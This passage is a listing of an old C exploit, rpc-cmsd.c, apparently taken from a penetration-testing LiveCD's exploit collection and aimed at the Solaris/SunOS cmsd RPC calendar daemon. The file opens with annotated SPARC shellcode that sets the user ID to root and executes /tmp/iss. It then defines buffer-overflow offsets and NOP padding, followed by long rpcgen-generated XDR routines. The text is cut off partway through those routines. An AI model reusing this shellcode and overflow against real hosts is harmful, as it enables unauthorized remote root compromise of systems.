home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / rpc-cmsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  28KB  |  1,287 lines
  1. /*
  2.  *
  3.  * cmsd warez
  4.  *
  5.  * executes /tmp/iss
  6.  *
  7.  * gcc -o c c.c -lrpcsvc -lnsl -lsocket
  8.  *
  9.  *  ..OS's Affected..
  10.  *  (Solaris 7/SPARC)
  11.  *  (Solaris 7/x86)
  12.  *  (Solaris 2.6)
  13.  *  (Solaris 2.5.1)
  14.  *  (Solaris 2.5.1_x86)
  15.  *  (Solaris 2.5)
  16.  *  (Solaris 2.5_x86)
  17.  *  (Solaris 2.3)
  18.  *  (SunOS 4.1.3/4.1.3C/4.1.3_U1/4.1.4)
  19.  *  (Solaris 2.6/SPARC)
  20.  *
  21.  */
  22.  
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <rpc/rpc.h>
  27. #include <netdb.h>
  28. #include <arpa/inet.h>
  29.  
  30. char c0de[]=
  31.   "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
  32.   "\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
  33.   "\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
  34.   "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
  35.   "\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
  36.   "\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
  37.   "\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
  38.   "\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
  39.   "\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
  40.   "\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
  41.   "\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
  42.   "\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
  43.   "\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
  44.   "\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
  45.   "\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
  46.   "\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
  47.   "\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
  48.   "\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
  49.   "\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
  50.   "\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
  51.   "\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
  52.   "\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
  53.   "\x91\xd0\x20\x08"; /* ta 8 - exit(0) */
  54.  
  55. #define X_OFFSET  5500
  56. #define RW_OFFSET 800
  57. #define NOPS      700
  58. #define ALIGN     (2000+sizeof(unsigned long)*7)
  59. #define REG_W_SIZ 64
  60. #define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
  61. #define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))
  62.  
  63. char cname[] = "root@ISS";
  64.  
  65. /* ----- rpcgen ----- */
  66.  
  67. /*
  68.  * Please do not edit this file.
  69.  * It was generated using rpcgen.
  70.  */
  71.  
  72. #ifndef _RTABLE4_H_RPCGEN
  73. #define    _RTABLE4_H_RPCGEN
  74.  
  75. #include <rpc/rpc.h>
  76.  
  77. typedef char *Buffer;
  78.  
  79. enum Transaction {
  80.   add = 0,
  81.   cm_remove = 1
  82. };
  83. typedef enum Transaction Transaction;
  84.  
  85. enum Interval {
  86.   single = 0,
  87.   daily = 1,
  88.   weekly = 2,
  89.   biweekly = 3,
  90.   monthly = 4,
  91.   yearly = 5,
  92.   nthWeekday = 6,
  93.   everyNthDay = 7,
  94.   everyNthWeek = 8,
  95.   everyNthMonth = 9,
  96.   otherPeriod = 10,
  97.   monThruFri = 11,
  98.   monWedFri = 12,
  99.   tueThur = 13,
  100.   daysOfWeek = 14
  101. };
  102. typedef enum Interval Interval;
  103.  
  104. struct Period
  105.   {
  106.     Interval period;
  107.     int nth;
  108.     long enddate;
  109.   };
  110. typedef struct Period Period;
  111.  
  112. enum Event_Type {
  113.   appointment = 0,
  114.   reminder = 1,
  115.   otherTag = 2,
  116.   holiday = 3,
  117.   toDo = 4
  118. };
  119. typedef enum Event_Type Event_Type;
  120.  
  121. enum Options {
  122.   do_all = 0,
  123.   do_one = 1,
  124.   do_forward = 2
  125. };
  126. typedef enum Options Options;
  127.  
  128. struct Tag
  129.   {
  130.     Event_Type tag;
  131.     int showtime;
  132.     struct Tag *next;
  133.   };
  134. typedef struct Tag Tag;
  135.  
  136. enum Privacy_Level {
  137.   public = 0,
  138.   private = 1,
  139.   semiprivate = 2
  140. };
  141. typedef enum Privacy_Level Privacy_Level;
  142.  
  143. struct Attribute
  144.   {
  145.     struct Attribute *next;
  146.     Buffer attr;
  147.     Buffer value;
  148.     Buffer clientdata;
  149.   };
  150. typedef struct Attribute Attribute;
  151.  
  152. typedef Attribute *Attr;
  153.  
  154. struct Except
  155.   {
  156.     int ordinal;
  157.     struct Except *next;
  158.   };
  159. typedef struct Except Except;
  160.  
  161. typedef Except *Exception;
  162.  
  163. struct Id
  164.   {
  165.     long tick;
  166.     long key;
  167.   };
  168. typedef struct Id Id;
  169.  
  170. struct Uid
  171.   {
  172.     struct Id appt_id;
  173.     struct Uid *next;
  174.   };
  175. typedef struct Uid Uid;
  176.  
  177. enum Appt_Status {
  178.   active = 0,
  179.   pendingAdd = 1,
  180.   pendingDelete = 2,
  181.   committed = 3,
  182.   cancelled = 4,
  183.   completed = 5
  184. };
  185. typedef enum Appt_Status Appt_Status;
  186.  
  187. struct Appt
  188.   {
  189.     struct Id appt_id;
  190.     struct Tag *tag;
  191.     int duration;
  192.     int ntimes;
  193.     Buffer what;
  194.     struct Period period;
  195.     Buffer author;
  196.     Buffer client_data;
  197.     struct Except *exception;
  198.     struct Attribute *attr;
  199.     Appt_Status appt_status;
  200.     Privacy_Level privacy;
  201.     struct Appt *next;
  202.   };
  203. typedef struct Appt Appt;
  204.  
  205. struct Abb_Appt
  206.   {
  207.     struct Id appt_id;
  208.     struct Tag *tag;
  209.     Buffer what;
  210.     int duration;
  211.     struct Period period;
  212.     struct Abb_Appt *next;
  213.     Appt_Status appt_status;
  214.     Privacy_Level privacy;
  215.   };
  216. typedef struct Abb_Appt Abb_Appt;
  217.  
  218. struct Apptid
  219.   {
  220.     struct Id *oid;
  221.     struct Appt *new_appt;
  222.     Options option;
  223.   };
  224. typedef struct Apptid Apptid;
  225.  
  226. struct Reminder
  227.   {
  228.     struct Id appt_id;
  229.     long tick;
  230.     Attribute attr;
  231.     struct Reminder *next;
  232.   };
  233. typedef struct Reminder Reminder;
  234.  
  235. enum Table_Res_Type {
  236.   AP = 0,
  237.   RM = 1,
  238.   AB = 2,
  239.   ID = 3
  240. };
  241. typedef enum Table_Res_Type Table_Res_Type;
  242.  
  243. struct Table_Res_List
  244.   {
  245.     Table_Res_Type tag;
  246.     union {
  247.         Appt *a;
  248.         Reminder *r;
  249.         Abb_Appt *b;
  250.         Uid *i;
  251.       } Table_Res_List_u;
  252.   };
  253. typedef struct Table_Res_List Table_Res_List;
  254.  
  255. enum Access_Status {
  256.   access_ok = 0,
  257.   access_added = 1,
  258.   access_removed = 2,
  259.   access_failed = 3,
  260.   access_exists = 4,
  261.   access_partial = 5,
  262.   access_other = 6,
  263.   access_notable = 7,
  264.   access_notsupported = 8,
  265.   access_incomplete = 9
  266. };
  267. typedef enum Access_Status Access_Status;
  268.  
  269. struct Table_Res
  270.   {
  271.     Access_Status status;
  272.     Table_Res_List res;
  273.   };
  274. typedef struct Table_Res Table_Res;
  275. #define access_none   0x0     /* owner only */
  276. #define access_read   0x1
  277. #define access_write  0x2
  278. #define access_delete 0x4
  279. #define access_exec   0x8     /* execution permission is a hack! */
  280. #define WORLD "world"    /* special user */
  281.  
  282. struct Access_Entry
  283.   {
  284.     Buffer who;
  285.     int access_type;
  286.     struct Access_Entry *next;
  287.   };
  288. typedef struct Access_Entry Access_Entry;
  289.  
  290. struct Access_Args
  291.   {
  292.     Buffer target;
  293.     Access_Entry *access_list;
  294.   };
  295. typedef struct Access_Args Access_Args;
  296.  
  297. struct Range
  298.   {
  299.     long key1;
  300.     long key2;
  301.     struct Range *next;
  302.   };
  303. typedef struct Range Range;
  304.  
  305. struct Keyrange
  306.   {
  307.     long key;
  308.     long tick1;
  309.     long tick2;
  310.     struct Keyrange *next;
  311.   };
  312. typedef struct Keyrange Keyrange;
  313.  
  314. struct Uidopt
  315.   {
  316.     struct Id appt_id;
  317.     Options option;
  318.     struct Uidopt *next;
  319.   };
  320. typedef struct Uidopt Uidopt;
  321.  
  322. enum Table_Args_Type {
  323.   TICK_4 = 0,
  324.   APPTID = 1,
  325.   UID = 2,
  326.   APPT = 3,
  327.   RANGE = 4,
  328.   KEYRANGE = 5,
  329.   UIDOPT = 6
  330. };
  331. typedef enum Table_Args_Type Table_Args_Type;
  332.  
  333. struct Args
  334.   {
  335.     Table_Args_Type tag;
  336.     union {
  337.         long tick;
  338.         Apptid apptid;
  339.         Uid *key;
  340.         Appt *appt;
  341.         Range *range;
  342.         Keyrange *keyrange;
  343.         Uidopt *uidopt;
  344.       } Args_u;
  345.   };
  346. typedef struct Args Args;
  347.  
  348. struct Table_Args
  349.   {
  350.     Buffer target;
  351.     Args args;
  352.     int pid;
  353.   };
  354. typedef struct Table_Args Table_Args;
  355.  
  356. struct Registration
  357.   {
  358.     Buffer target;
  359.     u_long prognum;
  360.     u_long versnum;
  361.     u_long procnum;
  362.     struct Registration *next;
  363.     int pid;
  364.   };
  365. typedef struct Registration Registration;
  366.  
  367. struct Table_Op_Args
  368.   {
  369.     Buffer target;
  370.     Buffer new_target;
  371.   };
  372. typedef struct Table_Op_Args Table_Op_Args;
  373.  
  374. enum Table_Status {
  375.   ok = 0,
  376.   duplicate = 1,
  377.   badtable = 2,
  378.   notable = 3,
  379.   denied = 4,
  380.   other = 5,
  381.   tbl_not_owner = 6,
  382.   tbl_exist = 7,
  383.   tbl_notsupported = 8
  384. };
  385. typedef enum Table_Status Table_Status;
  386.  
  387. enum Registration_Status {
  388.   registered = 0,
  389.   failed = 1,
  390.   deregistered = 2,
  391.   confused = 3,
  392.   reg_notable = 4
  393. };
  394. typedef enum Registration_Status Registration_Status;
  395.  
  396. /*
  397.  * rtable_delete and rtable_change take over the functionality of
  398.  * rtable_delete_instance and rtable_change_instance repectively.
  399.  * rtable_delete_instance and rtable_change_instance are now dummy
  400.  * routines exist for backward compatibility purpose and return
  401.  * access_notsupported.
  402.  */
  403.  
  404. extern Appt* make_appt();
  405. extern void destroy_appt();
  406. extern void destroy_list();
  407. extern Appt *copy_appt();
  408. extern Appt *copy_semiprivate_appt();
  409. extern Abb_Appt *make_abbrev_appt();
  410. extern void destroy_abbrev_appt();
  411. extern Abb_Appt *copy_abbrev_appt();
  412. extern Abb_Appt *appt_to_abbrev();
  413. extern Abb_Appt *appt_to_semiprivate_abbrev();
  414. extern Reminder* make_reminder();
  415. extern void destroy_reminder();
  416. extern Reminder* copy_reminder();
  417. extern Uid* make_keyentry();
  418. extern void destroy_keyentry();
  419. extern Uid* copy_keyentry();
  420. extern Access_Entry* make_access_entry();
  421. extern Access_Entry* copy_access_list();
  422. extern void destroy_access_list();
  423. extern Abb_Appt *copy_single_abbrev_appt();
  424. extern Attribute *make_attr();
  425.  
  426. #define    TABLEPROG ((unsigned long)(100068))
  427. #define    TABLEVERS ((unsigned long)(4))
  428. #define    rtable_ping ((unsigned long)(0))
  429. extern  void * rtable_ping_4();
  430. #define    rtable_lookup ((unsigned long)(1))
  431. extern  Table_Res * rtable_lookup_4();
  432. #define    rtable_lookup_next_larger ((unsigned long)(2))
  433. extern  Table_Res * rtable_lookup_next_larger_4();
  434. #define    rtable_lookup_next_smaller ((unsigned long)(3))
  435. extern  Table_Res * rtable_lookup_next_smaller_4();
  436. #define    rtable_lookup_range ((unsigned long)(4))
  437. extern  Table_Res * rtable_lookup_range_4();
  438. #define    rtable_abbreviated_lookup_range ((unsigned long)(5))
  439. extern  Table_Res * rtable_abbreviated_lookup_range_4();
  440. #define    rtable_insert ((unsigned long)(6))
  441. extern  Table_Res * rtable_insert_4();
  442. #define    rtable_delete ((unsigned long)(7))
  443. extern  Table_Res * rtable_delete_4();
  444. #define    rtable_delete_instance ((unsigned long)(8))
  445. extern  Table_Res * rtable_delete_instance_4();
  446. #define    rtable_change ((unsigned long)(9))
  447. extern  Table_Res * rtable_change_4();
  448. #define    rtable_change_instance ((unsigned long)(10))
  449. extern  Table_Res * rtable_change_instance_4();
  450. #define    rtable_lookup_next_reminder ((unsigned long)(11))
  451. extern  Table_Res * rtable_lookup_next_reminder_4();
  452. #define    rtable_check ((unsigned long)(12))
  453. extern  Table_Status * rtable_check_4();
  454. #define    rtable_flush_table ((unsigned long)(13))
  455. extern  Table_Status * rtable_flush_table_4();
  456. #define    rtable_size ((unsigned long)(14))
  457. extern  int * rtable_size_4();
  458. #define    register_callback ((unsigned long)(15))
  459. extern  Registration_Status * register_callback_4();
  460. #define    deregister_callback ((unsigned long)(16))
  461. extern  Registration_Status * deregister_callback_4();
  462. #define    rtable_set_access ((unsigned long)(17))
  463. extern  Access_Status * rtable_set_access_4();
  464. #define    rtable_get_access ((unsigned long)(18))
  465. extern  Access_Args * rtable_get_access_4();
  466. #define    rtable_abbreviated_lookup_key_range ((unsigned long)(19))
  467. extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
  468. #define    rtable_gmtoff ((unsigned long)(20))
  469. extern  long * rtable_gmtoff_4();
  470. #define    rtable_create ((unsigned long)(21))
  471. extern  Table_Status * rtable_create_4();
  472. #define    rtable_remove ((unsigned long)(22))
  473. extern  Table_Status * rtable_remove_4();
  474. #define    rtable_rename ((unsigned long)(23))
  475. extern  Table_Status * rtable_rename_4();
  476. extern int tableprog_4_freeresult();
  477.  
  478. /* the xdr functions */
  479. extern bool_t xdr_Buffer();
  480. extern bool_t xdr_Transaction();
  481. extern bool_t xdr_Interval();
  482. extern bool_t xdr_Period();
  483. extern bool_t xdr_Event_Type();
  484. extern bool_t xdr_Options();
  485. extern bool_t xdr_Tag();
  486. extern bool_t xdr_Privacy_Level();
  487. extern bool_t xdr_Attribute();
  488. extern bool_t xdr_Attr();
  489. extern bool_t xdr_Except();
  490. extern bool_t xdr_Exception();
  491. extern bool_t xdr_Id();
  492. extern bool_t xdr_Uid();
  493. extern bool_t xdr_Appt_Status();
  494. extern bool_t xdr_Appt();
  495. extern bool_t xdr_Abb_Appt();
  496. extern bool_t xdr_Apptid();
  497. extern bool_t xdr_Reminder();
  498. extern bool_t xdr_Table_Res_Type();
  499. extern bool_t xdr_Table_Res_List();
  500. extern bool_t xdr_Access_Status();
  501. extern bool_t xdr_Table_Res();
  502. extern bool_t xdr_Access_Entry();
  503. extern bool_t xdr_Access_Args();
  504. extern bool_t xdr_Range();
  505. extern bool_t xdr_Keyrange();
  506. extern bool_t xdr_Uidopt();
  507. extern bool_t xdr_Table_Args_Type();
  508. extern bool_t xdr_Args();
  509. extern bool_t xdr_Table_Args();
  510. extern bool_t xdr_Registration();
  511. extern bool_t xdr_Table_Op_Args();
  512. extern bool_t xdr_Table_Status();
  513. extern bool_t xdr_Registration_Status();
  514.  
  515. #endif /* !_RTABLE4_H_RPCGEN */
  516.  
  517. /*
  518.  * Please do not edit this file.
  519.  * It was generated using rpcgen.
  520.  */
  521.  
  522. bool_t
  523. xdr_Buffer(xdrs, objp)
  524. register XDR *xdrs;
  525. Buffer *objp;
  526. {
  527.  
  528.   register long *buf;
  529.  
  530.   if (!xdr_string(xdrs, objp, ~0))
  531.     return (FALSE);
  532.   return (TRUE);
  533. }
  534.  
  535. bool_t
  536. xdr_Transaction(xdrs, objp)
  537. register XDR *xdrs;
  538. Transaction *objp;
  539. {
  540.  
  541.   register long *buf;
  542.  
  543.   if (!xdr_enum(xdrs, (enum_t *)objp))
  544.     return (FALSE);
  545.   return (TRUE);
  546. }
  547.  
  548. bool_t
  549. xdr_Interval(xdrs, objp)
  550. register XDR *xdrs;
  551. Interval *objp;
  552. {
  553.  
  554.   register long *buf;
  555.  
  556.   if (!xdr_enum(xdrs, (enum_t *)objp))
  557.     return (FALSE);
  558.   return (TRUE);
  559. }
  560.  
  561. bool_t
  562. xdr_Period(xdrs, objp)
  563. register XDR *xdrs;
  564. Period *objp;
  565. {
  566.  
  567.   register long *buf;
  568.  
  569.   if (!xdr_Interval(xdrs, &objp->period))
  570.     return (FALSE);
  571.   if (!xdr_int(xdrs, &objp->nth))
  572.     return (FALSE);
  573.   if (!xdr_long(xdrs, &objp->enddate))
  574.     return (FALSE);
  575.   return (TRUE);
  576. }
  577.  
  578. bool_t
  579. xdr_Event_Type(xdrs, objp)
  580. register XDR *xdrs;
  581. Event_Type *objp;
  582. {
  583.  
  584.   register long *buf;
  585.  
  586.   if (!xdr_enum(xdrs, (enum_t *)objp))
  587.     return (FALSE);
  588.   return (TRUE);
  589. }
  590.  
  591. bool_t
  592. xdr_Options(xdrs, objp)
  593. register XDR *xdrs;
  594. Options *objp;
  595. {
  596.  
  597.   register long *buf;
  598.  
  599.   if (!xdr_enum(xdrs, (enum_t *)objp))
  600.     return (FALSE);
  601.   return (TRUE);
  602. }
  603.  
  604. bool_t
  605. xdr_Tag(xdrs, objp)
  606. register XDR *xdrs;
  607. Tag *objp;
  608. {
  609.  
  610.   register long *buf;
  611.  
  612.   if (!xdr_Event_Type(xdrs, &objp->tag))
  613.     return (FALSE);
  614.   if (!xdr_int(xdrs, &objp->showtime))
  615.     return (FALSE);
  616.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
  617.     return (FALSE);
  618.   return (TRUE);
  619. }
  620.  
  621. bool_t
  622. xdr_Privacy_Level(xdrs, objp)
  623. register XDR *xdrs;
  624. Privacy_Level *objp;
  625. {
  626.  
  627.   register long *buf;
  628.  
  629.   if (!xdr_enum(xdrs, (enum_t *)objp))
  630.     return (FALSE);
  631.   return (TRUE);
  632. }
  633.  
  634. bool_t
  635. xdr_Attribute(xdrs, objp)
  636. register XDR *xdrs;
  637. Attribute *objp;
  638. {
  639.  
  640.   register long *buf;
  641.  
  642.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
  643.     return (FALSE);
  644.   if (!xdr_Buffer(xdrs, &objp->attr))
  645.     return (FALSE);
  646.   if (!xdr_Buffer(xdrs, &objp->value))
  647.     return (FALSE);
  648.   if (!xdr_Buffer(xdrs, &objp->clientdata))
  649.     return (FALSE);
  650.   return (TRUE);
  651. }
  652.  
  653. bool_t
  654. xdr_Attr(xdrs, objp)
  655. register XDR *xdrs;
  656. Attr *objp;
  657. {
  658.  
  659.   register long *buf;
  660.  
  661.   if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
  662.     return (FALSE);
  663.   return (TRUE);
  664. }
  665.  
  666. bool_t
  667. xdr_Except(xdrs, objp)
  668. register XDR *xdrs;
  669. Except *objp;
  670. {
  671.  
  672.   register long *buf;
  673.  
  674.   if (!xdr_int(xdrs, &objp->ordinal))
  675.     return (FALSE);
  676.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
  677.     return (FALSE);
  678.   return (TRUE);
  679. }
  680.  
  681. bool_t
  682. xdr_Exception(xdrs, objp)
  683. register XDR *xdrs;
  684. Exception *objp;
  685. {
  686.  
  687.   register long *buf;
  688.  
  689.   if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
  690.     return (FALSE);
  691.   return (TRUE);
  692. }
  693.  
  694. bool_t
  695. xdr_Id(xdrs, objp)
  696. register XDR *xdrs;
  697. Id *objp;
  698. {
  699.  
  700.   register long *buf;
  701.  
  702.   if (!xdr_long(xdrs, &objp->tick))
  703.     return (FALSE);
  704.   if (!xdr_long(xdrs, &objp->key))
  705.     return (FALSE);
  706.   return (TRUE);
  707. }
  708.  
  709. bool_t
  710. xdr_Uid(xdrs, objp)
  711. register XDR *xdrs;
  712. Uid *objp;
  713. {
  714.  
  715.   register long *buf;
  716.  
  717.   if (!xdr_Id(xdrs, &objp->appt_id))
  718.     return (FALSE);
  719.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
  720.     return (FALSE);
  721.   return (TRUE);
  722. }
  723.  
  724. bool_t
  725. xdr_Appt_Status(xdrs, objp)
  726. register XDR *xdrs;
  727. Appt_Status *objp;
  728. {
  729.  
  730.   register long *buf;
  731.  
  732.   if (!xdr_enum(xdrs, (enum_t *)objp))
  733.     return (FALSE);
  734.   return (TRUE);
  735. }
  736.  
  737. bool_t
  738. xdr_Appt(xdrs, objp)
  739. register XDR *xdrs;
  740. Appt *objp;
  741. {
  742.  
  743.   register long *buf;
  744.  
  745.   if (!xdr_Id(xdrs, &objp->appt_id))
  746.     return (FALSE);
  747.   if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
  748.     return (FALSE);
  749.   if (!xdr_int(xdrs, &objp->duration))
  750.     return (FALSE);
  751.   if (!xdr_int(xdrs, &objp->ntimes))
  752.     return (FALSE);
  753.   if (!xdr_Buffer(xdrs, &objp->what))
  754.     return (FALSE);
  755.   if (!xdr_Period(xdrs, &objp->period))
  756.     return (FALSE);
  757.   if (!xdr_Buffer(xdrs, &objp->author))
  758.     return (FALSE);
  759.   if (!xdr_Buffer(xdrs, &objp->client_data))
  760.     return (FALSE);
  761.   if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
  762.     return (FALSE);
  763.   if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
  764.     return (FALSE);
  765.   if (!xdr_Appt_Status(xdrs, &objp->appt_status))
  766.     return (FALSE);
  767.   if (!xdr_Privacy_Level(xdrs, &objp->privacy))
  768.     return (FALSE);
  769.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
  770.     return (FALSE);
  771.   return (TRUE);
  772. }
  773.  
  774. bool_t
  775. xdr_Abb_Appt(xdrs, objp)
  776. register XDR *xdrs;
  777. Abb_Appt *objp;
  778. {
  779.  
  780.   register long *buf;
  781.  
  782.   if (!xdr_Id(xdrs, &objp->appt_id))
  783.     return (FALSE);
  784.   if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
  785.     return (FALSE);
  786.   if (!xdr_Buffer(xdrs, &objp->what))
  787.     return (FALSE);
  788.   if (!xdr_int(xdrs, &objp->duration))
  789.     return (FALSE);
  790.   if (!xdr_Period(xdrs, &objp->period))
  791.     return (FALSE);
  792.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
  793.     return (FALSE);
  794.   if (!xdr_Appt_Status(xdrs, &objp->appt_status))
  795.     return (FALSE);
  796.   if (!xdr_Privacy_Level(xdrs, &objp->privacy))
  797.     return (FALSE);
  798.   return (TRUE);
  799. }
  800.  
  801. bool_t
  802. xdr_Apptid(xdrs, objp)
  803. register XDR *xdrs;
  804. Apptid *objp;
  805. {
  806.  
  807.   register long *buf;
  808.  
  809.   if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
  810.     return (FALSE);
  811.   if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
  812.     return (FALSE);
  813.   if (!xdr_Options(xdrs, &objp->option))
  814.     return (FALSE);
  815.   return (TRUE);
  816. }
  817.  
  818. bool_t
  819. xdr_Reminder(xdrs, objp)
  820. register XDR *xdrs;
  821. Reminder *objp;
  822. {
  823.  
  824.   register long *buf;
  825.  
  826.   if (!xdr_Id(xdrs, &objp->appt_id))
  827.     return (FALSE);
  828.   if (!xdr_long(xdrs, &objp->tick))
  829.     return (FALSE);
  830.   if (!xdr_Attribute(xdrs, &objp->attr))
  831.     return (FALSE);
  832.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
  833.     return (FALSE);
  834.   return (TRUE);
  835. }
  836.  
  837. bool_t
  838. xdr_Table_Res_Type(xdrs, objp)
  839. register XDR *xdrs;
  840. Table_Res_Type *objp;
  841. {
  842.  
  843.   register long *buf;
  844.  
  845.   if (!xdr_enum(xdrs, (enum_t *)objp))
  846.     return (FALSE);
  847.   return (TRUE);
  848. }
  849.  
  850. bool_t
  851. xdr_Table_Res_List(xdrs, objp)
  852. register XDR *xdrs;
  853. Table_Res_List *objp;
  854. {
  855.  
  856.   register long *buf;
  857.  
  858.   if (!xdr_Table_Res_Type(xdrs, &objp->tag))
  859.     return (FALSE);
  860.   switch (objp->tag)
  861.     {
  862.     case AP:
  863.       if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
  864.         return (FALSE);
  865.       break;
  866.     case RM:
  867.       if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
  868.         return (FALSE);
  869.       break;
  870.     case AB:
  871.       if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
  872.         return (FALSE);
  873.       break;
  874.     case ID:
  875.       if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
  876.         return (FALSE);
  877.       break;
  878.     }
  879.   return (TRUE);
  880. }
  881.  
  882. bool_t
  883. xdr_Access_Status(xdrs, objp)
  884. register XDR *xdrs;
  885. Access_Status *objp;
  886. {
  887.  
  888.   register long *buf;
  889.  
  890.   if (!xdr_enum(xdrs, (enum_t *)objp))
  891.     return (FALSE);
  892.   return (TRUE);
  893. }
  894.  
  895. bool_t
  896. xdr_Table_Res(xdrs, objp)
  897. register XDR *xdrs;
  898. Table_Res *objp;
  899. {
  900.  
  901.   register long *buf;
  902.  
  903.   if (!xdr_Access_Status(xdrs, &objp->status))
  904.     return (FALSE);
  905.   if (!xdr_Table_Res_List(xdrs, &objp->res))
  906.     return (FALSE);
  907.   return (TRUE);
  908. }
  909. #define access_none   0x0     /* owner only */
  910. #define access_read   0x1
  911. #define access_write  0x2
  912. #define access_delete 0x4
  913. #define access_exec   0x8     /* execution permission is a hack! */
  914. #define WORLD "world"    /* special user */
  915.  
  916. bool_t
  917. xdr_Access_Entry(xdrs, objp)
  918. register XDR *xdrs;
  919. Access_Entry *objp;
  920. {
  921.  
  922.   register long *buf;
  923.  
  924.   if (!xdr_Buffer(xdrs, &objp->who))
  925.     return (FALSE);
  926.   if (!xdr_int(xdrs, &objp->access_type))
  927.     return (FALSE);
  928.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
  929.     return (FALSE);
  930.   return (TRUE);
  931. }
  932.  
  933. bool_t
  934. xdr_Access_Args(xdrs, objp)
  935. register XDR *xdrs;
  936. Access_Args *objp;
  937. {
  938.  
  939.   register long *buf;
  940.  
  941.   if (!xdr_Buffer(xdrs, &objp->target))
  942.     return (FALSE);
  943.   if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
  944.     return (FALSE);
  945.   return (TRUE);
  946. }
  947.  
  948. bool_t
  949. xdr_Range(xdrs, objp)
  950. register XDR *xdrs;
  951. Range *objp;
  952. {
  953.  
  954.   register long *buf;
  955.  
  956.   if (!xdr_long(xdrs, &objp->key1))
  957.     return (FALSE);
  958.   if (!xdr_long(xdrs, &objp->key2))
  959.     return (FALSE);
  960.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
  961.     return (FALSE);
  962.   return (TRUE);
  963. }
  964.  
  965. bool_t
  966. xdr_Keyrange(xdrs, objp)
  967. register XDR *xdrs;
  968. Keyrange *objp;
  969. {
  970.  
  971.   register long *buf;
  972.  
  973.   if (!xdr_long(xdrs, &objp->key))
  974.     return (FALSE);
  975.   if (!xdr_long(xdrs, &objp->tick1))
  976.     return (FALSE);
  977.   if (!xdr_long(xdrs, &objp->tick2))
  978.     return (FALSE);
  979.   if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
  980.     return (FALSE);
  981.   return (TRUE);
  982. }
  983.  
  984. bool_t
  985. xdr_Uidopt(xdrs, objp)
  986. register XDR *xdrs;
